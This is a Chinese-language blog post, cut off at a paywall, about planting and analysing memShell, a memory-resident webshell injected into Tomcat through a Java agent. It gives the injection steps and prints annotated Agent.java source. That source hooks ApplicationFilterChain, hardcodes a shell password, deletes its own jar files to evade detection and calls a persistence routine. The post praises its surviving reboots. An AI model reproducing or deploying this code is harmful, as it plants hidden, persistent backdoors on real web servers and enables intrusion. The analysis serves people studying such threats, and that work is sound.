跟随上一篇《java进程注入》
这里使用memShell
https://github.com/rebeyond/memShell
将agent.jar和inject.jar放到tomcta的web目录下

然后输入命令注入
效果:

注入成功后

可以看到agent.jar文件为了防止发现,自动清除,而且重启电脑之后,内存马不死,继续可以使用
那么memShell分析
主要是下面三个类:
agent.java,Attach.java,Transformer.java
agent.java:
package net.rebeyond.memshell;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.Query;
import java.io.*;
import java.lang.instrument.Instrumentation;
import java.lang.management.ManagementFactory;
import java.lang.management.RuntimeMXBean;
import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.URL;
import java.util.Arrays;
import java.util.Set;
public class Agent {
public static String currentPath;
public static String password = "qiezi";
public static String className = "org.apache.catalina.core.ApplicationFilterChain";
public static byte[] injectFileBytes = new byte[]{
},agentFileBytes = new byte[]{
};
public static void agentmain(String agentArgs, Instrumentation inst){
inst.addTransformer(new Transformer(),true);
if (agentArgs.indexOf("^") >=0){
//字符串的开始位置找元素^找不到是-1.找到进入判断
Agent.currentPath = agentArgs.split("\\^")[0]; //以^分割字符,返回分割好的字符串数组,然后得到数组第一个元素
Agent.password = agentArgs.split("\\^")[1]; //以以^分割字符,返回分割好的字符串数组,然后得到数组第二个元素
}else {
Agent.currentPath = agentArgs;
}
System.out.println("Agent Main Done");
Class[] loadedClasses = inst.getAllLoadedClasses(); //获得Instrumentation中的所有类
for (Class c : loadedClasses){
//遍历
if (c.getName().equals(className)){
//当等于"org.apache.catalina.core.ApplicationFilterChain"时进入if
try{
inst.retransformClasses(c); //重新加载,为了达到全部监视,像thread类是在java agent加载之前就已经加载了,所以需要再次加载
}catch (Exception e){
e.printStackTrace();
}
}
}
try {
initLoad(); //初始化
readInjectFile(Agent.currentPath); //读取inject文件
readAgentFile(Agent.currentPath); //读取agent文件
clear(Agent.currentPath); //清除文件
}catch (Exception e){
}
Agent.persist(); //持久化
}
//linux?
public static void clear(String currentPath) throws Exception{
//清除
Thread clearThread = new Thread(){
//创建清除线程
String currentPath = Agent.currentPath; //当前路径
public void run(){
try {
Thread.sleep(5000); //线程等待
String injectFile = currentPath + "inject.jar"; //inject文件路径
String agentFile = currentPath + "agent.jar"; //agent文件路径
new File(injectFile).getCanonicalFile().delete(); //删除injectFiile文件
String OS = System.getProperty("os.name").toLowerCase(); //操作系统名
if (OS.indexOf("windows") >= 0){
try{
unlockFile(currentPath); //windows采取foreceDelete.exe强制清除
}catch (Exception e){
//pass
}
}
new File(agentFile)

最低0.47元/天 解锁文章
883

被折叠的 条评论
为什么被折叠?



